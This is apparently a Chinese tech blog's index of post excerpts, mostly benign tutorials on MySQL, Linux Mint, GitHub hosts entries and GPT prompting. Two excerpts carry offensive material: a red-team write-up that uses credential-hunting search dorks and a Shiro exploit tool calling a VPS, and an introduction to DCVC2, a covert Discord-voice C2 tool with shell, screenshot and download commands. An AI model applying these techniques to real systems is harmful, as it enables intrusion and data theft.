Carpentry这样的工作坊(面向科学家的命令行、Git 和 Python/R 编程简介)帮助他们更熟悉命令行。 你可以在这里查看 Software Carpentry 课程。 书籍和文章 一些提到的材料: 文章: 《终端》 《命令行功夫》(包含 UNIX 和 Windows 命令行技巧) 书籍: 《Effective Linux at The Command Line》 《Unix Power Tools》(可能有些过时) 《The Linux Pocket guide》 视频: Mindy Preston 的 CLI tools aren’t inherently user-hostile Gary Bernhardt 的 destroy all software screencasts DistroTube ...

    2023-08-12 146
  • MySQL数据库基本操作

    基本操作有:查看有哪些数据库、查看有哪些表、创建数据库、创建表、查看表信息、向表中插入数据等 # 查看有哪些数据库 MariaDB [(none)]> show databases; # 切换到test数据库 MariaDB [(none)]> use test; # 查看当前数据库有哪些表 MariaDB [test]> show tables; Empty set (0.000 sec) # 表明当前数据库是空的 # 如果test数据库不存在,则创建 MariaDB [test]> CREATE DATABASE IF NOT EXISTS test; # 在数据库test种创建表三个表:books、authors、series MariaDB [test]> CREATE TABLE IF NOT EXISTS books ( # 创建books表(前提是books表不存在,如果已经存在,则不创建) -> BookID INT NOT NULL PRIMARY KEY AUTO_INCREMENT, -> Title VARCHAR(100) NOT NULL, -> SeriesID INT, AuthorID INT); Query OK, 0 rows affected (0.033 sec) MariaDB [test]> CREATE TABLE IF NOT EXISTS authors # 创建authors表(前提是authors表不存在,如果已经存在,则不创建) -> (id INT NOT NULL PRIMARY KEY AUTO_INCREMENT); Query OK, 0 rows affected (0.005 sec) MariaDB [test]> CREATE TABLE IF NOT EXISTS series # 创建series表(前提是series表不存在,如果已经存在,则不创建) -> (id INT NOT NULL PRIMARY KEY AUTO_INCREMENT); Query OK, 0 rows affected (0.005 sec) # 接下来我们再来看看表是否添加成功 MariaDB [test]> show tables; +----------------+ | Tables_in_test | +----------------+ | authors | | books | | series | +----------------+ 3 rows in set (0.000 sec) # 向books表中插入数据 MariaDB [test]> INSERT INTO books (Title,SeriesID,AuthorID) -> VALUES('The Fellowship of the Ring',1,1), -> ('The Two Towers',1,1), ('The Return of the King',1,1), -> ('The Sum of All Men',2,2), ('Brotherhood of the Wolf',2,2), -> ('Wizardborn',2,2), ('The Hobbbit',0,1); Query OK, 7 rows affected (0.004 sec) Records: 7 Duplicates: 0 Warnings: 0 # 查看表信息 MariaDB [test]> describe books; +----------+--------------+------+-----+---------+----------------+ | Field | Type | Null | Key | Default | Extra | +----------+--------------+------+-----+---------+----------------+ | BookID | int(11) | NO | PRI | NULL | auto_increment | | Title | varchar(100) | NO | | NULL | | | SeriesID | int(11) | YES | | NULL | | | AuthorID | int(11) | YES | | NULL | | +----------+--------------+------+-----+---------+----------------+ 4 rows in set (0.002 sec) # 查询数据(从表中查询数据) MariaDB [test]> select * from books; +--------+----------------------------+----------+----------+ | BookID | Title | SeriesID | AuthorID | +--------+----------------------------+----------+----------+ | 1 | The Fellowship of the Ring | 1 | 1 | | 2 | The Two Towers | 1 | 1 | | 3 | The Return of the King | 1 | 1 | | 4 | The Sum of All Men | 2 | 2 | | 5 | Brotherhood of the Wolf | 2 | 2 | | 6 | Wizardborn | 2 | 2 | | 7 | The Hobbbit | 0 | 1 | +--------+----------------------------+----------+----------+ 7 rows in set (0.000 sec) 小知识:sql语句允许换行,直到遇到分号+回车才会认为sql语句输入结束,进入执行阶段 ...

    2023-08-12 154
  • 攻防演练|记一次对xx教育局攻防总结

    前言 这次攻防演练每个队伍分配不同的目标,有些队伍拿的点可以直接 nday 打,有些队伍外网打点十分困难比如我们,但分数是是统一算的,可以说不是那么的公平。不过也算是提供了些许经验,简单做一下总结,都是比较基础的东西,如有写的不正确的地方欢迎各位师傅指正。 外网打点 敏感信息泄露 一般来说学校外网能拿直接权限的点已经很少了,web 应用大多是放在 vpn 后面,因此能弄到一个 vpn 账号可以说是事半功倍 另外还可以通过语法筛选出存在默认弱口令的系统,常用命令如下: PLAINTEXT 1 2 3 4 5 6 7 #google语法 site:*.edu.cn intext: vpn | 用户名 | 密码 | 帐号 | 默认密码 #github*.edu.cn password   查看方式优先选择最近更新,太久远的基本上失效了 这里队友收集到了某个目标的 vpn 账号,使用的是 姓名拼音/12345678 弱口令 进去内网后能访问的只有一个 OA 系统,测试了一下没发现什么东西,寻找其他突破口 shiro 无链 常规的打点可通过 fofa、hunter、quake 等网络测绘平台进行资产收集,收集好后进行去重,把去重后的资产列表进行批量指纹识别,筛选出重要易打点的系统 在常规的 hw 中这些方法比较通用,但是对于教育行业来说会相对困难,有 edusrc 的存在许多通用型漏洞已经被提交修复了,因此在信息搜集的时候要多去寻找旁站和一些容易被遗漏的站点 坐了一天牢后,终于通过测绘平台找到一个比较偏的资产,直接访问是一个静态页面,但扫描目录后指纹识别一波发现是 shiro 直接工具开冲,发现有默认 key 但是无利用链 这里想到之前学习 shiro 可以无依赖利用,感觉有戏尝试一波,相关知识可学习此文章 https://www.le1a.com/posts/a5f4a9e3/ PLAINTEXT 12 java -jar shiro_tool.jar 地址VPS:端口 通过 dnslog 测试有回显,这里有个注意点:使用 http://dnslog.cn/部分站点会拦截,可以换多个 dnslog 平台测试 dnslog 有回显接下来就是拿 shell 了,这里由于固化思维,之前遇到的都是 linux 系统,先入为主觉得是 Linux,结果没利用成功 这里可以通过网站快速生成 payload,https://x.hacking8.com/java-runtime.html 一开始以为是防火墙拦截,后面队友探测了一下目录结构,发现是 windows,所以这里 payload 要改变一下 Linux:  ...

    2023-08-11 182
  • Github打不开无法访问怎么办?如何解决?

    Github只要是程序员应该没有人不知道的,开源网站,很多时候国内访问的时候不是很稳定,经常的登录不上打开不开网页,这种情况怎么办?如何解决?今天就分享一下方法。 话不多说直接开始教程: 1.打开C:\Windows\System32\drivers\etc 路径下的的hosts文件 在hosts文件内加上如下内容并保存 140.82.114.4 github.com 140.82.114.4 gist.github.com 185.199.108.153 assets-cdn.github.com 151.101.64.133 raw.githubusercontent.com 151.101.108.133 gist.githubusercontent.com 151.101.108.133 cloud.githubusercontent.com 151.101.108.133 camo.githubusercontent.com 151.101.108.133 avatars0.githubusercontent.com 151.101.108.133 avatars1.githubusercontent.com 151.101.108.133 avatars2.githubusercontent.com 151.101.108.133 avatars3.githubusercontent.com 151.101.108.133 avatars4.githubusercontent.com 151.101.108.133 avatars5.githubusercontent.com 151.101.108.133 avatars6.githubusercontent.com 151.101.108.133 avatars7.githubusercontent.com 151.101.108.133 avatars8.githubusercontent.com 如图 如果无法编辑,鼠标右键打开文件属性将“只读”取消勾选并应用保存 Win+R打开运行框,输入cmd打开命令窗口,输入<mark style="box-sizing: border-box; background: rgb(252, 248, 227); color: rgb(0, 0, 0); padding: 0.2em; font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 16px; white-space: normal; outline: 0px !important;">ipconfig/flushdns命令会提示以下信息 然后就可以愉快的访问Github了!...

    2023-08-11 140
  • 如何使用DCVC2实现C2控制命令和数据的隐蔽传输

    关于DCVC2 DCVC2是一款功能强大的数据传输工具,该工具可以通过语音信道并使用RTP分组来传输所有数据,而且整个过程不会在文字聊天中留下操作痕迹。 该工具能够与多种常见的操作系统兼容,并且能够利用Discord的语音通道发送数据以实现命令和控制操作。该工具基于DiscordGo实现其功能,且完全通过实时协议(RTP)运行,是一款基于命令行运行的工具,这也就意味着所有的操作都需要通过Windows/Linux/OSX上的终端来执行。 工具要求 1、一个Discord账号; 2、一台Discord服务器; 3、支持在设置中将语音聊天速度提高到96kbps; 4、两个Discord bot(需要给bot提供管理员权限:【文档】); 工具下载 由于该工具基于Go语言开发,因此我们首先需要在本地设备上安装并配置好Go语言环境。 接下来,广大研究人员可以使用下列命令将该项目源码克隆至本地: git clone https://github.com/3NailsInfoSec/DCVC2.git 然后切换到项目目录中,使用go build命令完成服务器端和代理端代码编译: cd DCVC2 go mod download   go build server.go   go build agent.go 工具使用 运行完DCVC2的服务器端和代理端之后,你将会看到两端都加入了指定的语音聊天频道: Shell命令执行: cmd> whoami         desktop-3kjj3kj\sm00v 除了基本的Shell用法之外,DCVC2还添加了两个硬编码的附加项: cmd> screenshot     screenshotting..............................................       &       cmd> download   download file path>C:\Users\sm00v\Downloads\34954477.jpg   ............................................................ 项目地址 DCVC2:【GitHub传送门】 参考资料 https://stealthbits.com/stealthaudit-for-active-directory-product/(https://github.com/bwmarrin/discordgo) https://www.3nailsinfosec.com/post/using-discord-s-voice-channel-for-c2-operations https://discordpy.readthedocs.io/en/stable/discord.html https://twitter.com/sm00v https://github.com/sm00v  ...

    2023-08-11 173
  • 如何在Linux Mint中安装KDE Plasma桌面环境

    Linux Mint是最流行的和用户友好的 Linux 发行版,以其易用性和稳定性而闻名。 虽然 Linux Mint 中默认的 Cinnamon 桌面环境提供了友好愉快的体验,但也有一些用户可能想要探索其它的桌面环境,以进一步定制自己的 Linux 体验。 KDE Plasma 是另一个著名的桌面环境,提供了一种现代化的特色功能丰富的界面。 然而,Linux Mint 从未正式提供过 KDE Plasma 。 但是这里有一种在 Linux Mint 基础之上安装 KDE Plasma 桌面环境的方法。让我们一起尝试一下。 注意: 不要在你的有重要数据的稳定系统中尝试这些步骤。有风险。 在 Linux Mint 中安装 KDE Plasma 桌面环境 在 Linux Mint 发行版中,有三种主要组件来安装 KDE Plasma 桌面环境。它们是 kde-full、kde-standard和kde-plasma-desktop。 kde-full软件包集包含完整的 KDE Plasma 桌面环境。kde-standard 是最小的版本,kde-plasma-desktop 仅是桌面环境。 如果你将要尝试安装 KDE Plasma 桌面环境,我将建议安装 kde-full 软件包。 首先,打开一个终端,确保你的 Linux Mint 版本是已更新的。确保你执行了一次重新启动。 sudo apt update && sudo apt upgrade -y reboot 其次,在终端中,运行下面的命令来安装完整的 KDE 软件包。由于 Linux Mint 是基于 Ubuntu LTS 版本的,所以,你应该会获取基于当前正在持续更新的 Kubuntu LTS Plasma 版本的 KDE Plasma 版本。 sudo apt install kde-full 完整的下载体积有点大。针对当前的 Linux Mint 版本,它大约是 1.5 GB ,整个安装过程可能需要 20 分钟。 在安装过程中,你需要选择显示管理器,因为 KDE Plasma 使用 SDDM 。出现提示时,在下面的屏幕中选择 SDDM 。 在安装完成后,你需要在 SDDM 配置文件中修改其中一个备选项以阻止在登录过程中弹出一个空的联机键盘。为此,使用 nano 或任意一个编辑器来打开下面的文件。 sudo nano /etc/sddm.conf 接下来,添加下面的行。保存并退出。 [General]InputMethod= 最后,重新启动系统。 reboot 在登录期间,你应该会看到 SDDM 登录窗口,而不是 Linux Mint 的原来的登录提示窗口。在窗口顶部,选择 “Plasma” 会话并登录。 移除 Cinnamon 、Xfce 或 MATE 在 KDE Plasma 安装后,你可以移除 Cinnamon 、Xfce 或 MATE 桌面环境组件。如果你看到你的 KDE Plasma 工作的很好,那么移除是安全的。使用下面的命令来移除它们,最后使用命令 reboot来重新启动。 sudo apt purge cinnamon sudo apt purge mate-desktop sudo apt purge xfce4-session xfwm4 xfdesktop4 xfconf xfce4-utils exo-utils xfce4-panel xfce4-terminal thunar 几点注意事项 你可能会发现:相比于 Cinnamon 桌面环境,KDE Plasma 的运行性能有一点慢,这是很明显的。 Linux Mint 的壁纸、主题、图标和光标文件可能会保留在系统中。如果你想的话,你可以移除它们。 Mint Plymouth 动画应该也会保留,你可以手动移除它。 如果你在一个虚拟机中的系统中使用上述步骤,在从待机状态唤醒时,SDDM 可能会崩溃。 总结 热烈庆贺!你已经在你的 Linux Mint 系统上成功的安装 Plasma 桌面环境。通过执行这些步骤,你现在可以访问一个功能丰富的、视觉震撼的、可高度自定义的桌面环境。请谨慎使用! ...

    2023-08-10 168
  • GPT调教过程(以小红书笔记为例)

    分享一下我调教GPT写小红书文案的过程,话不多说,请往下看...... 1、我告诉他身份 我想要你扮演小红书博主,我会提供一些案例资料给你学习 ,帮助你更好地成为优秀的小红书博主。 2、我提供案例,他拆解分析出模板 3、他反馈并应用 让ChatGPT反馈他的学习效果并具体写一篇笔记出来,检查学习效果。 4、我提供优化反馈,他总结 然后根据它写的笔记给它反馈优化,最好让他在总结一下优化后的小红书笔记模板。 ( 按照实际需要反馈优化) 5、我拆解教学,他学习 然后教它拆解小红书笔记,为后面的优化做铺垫。例如: (案例可以按照你想要的优秀小红书笔记提供拆解案例) 提供多个案例,重复加深教学。 6、他反馈学习效果,并应用 让他用学到的拆解模板拆解自己原来生成的文本。 7、我,二次优化他的拆解模板 学会拆解后继续给它反馈,优化它的拆解方法中的不足。( 这里最好让它再次总结一下拆解模板 ,方便之后调用拆解模板) 例如:现在我想要你优化你的拆解方法,优化内容为:在拆解分析小红书笔记的时候加入[风格检查] , 其目的是检查小红书笔记是否符合你的笔记风格。请用你学会的优化后的拆解方法拆解你写的这篇标题为" [卡片笔记]让 学习变得更有趣!“的小红书笔记。 他,应用新的拆解模板(这个时候也可以让他先总结新的模板,随后再应用,这里我让他直接应用了) 总结: 1、调教过程第一步就是先给他定义身份 2、投喂相关资料 3、让其总结优化,告诉他要记住调教后的风格 4、持续使用化 ...

    2023-08-10 123

联系我们

在线咨询:点击这里给我发消息

QQ交流群:KirinBlog

工作日:8:00-23:00,节假日休息

扫码关注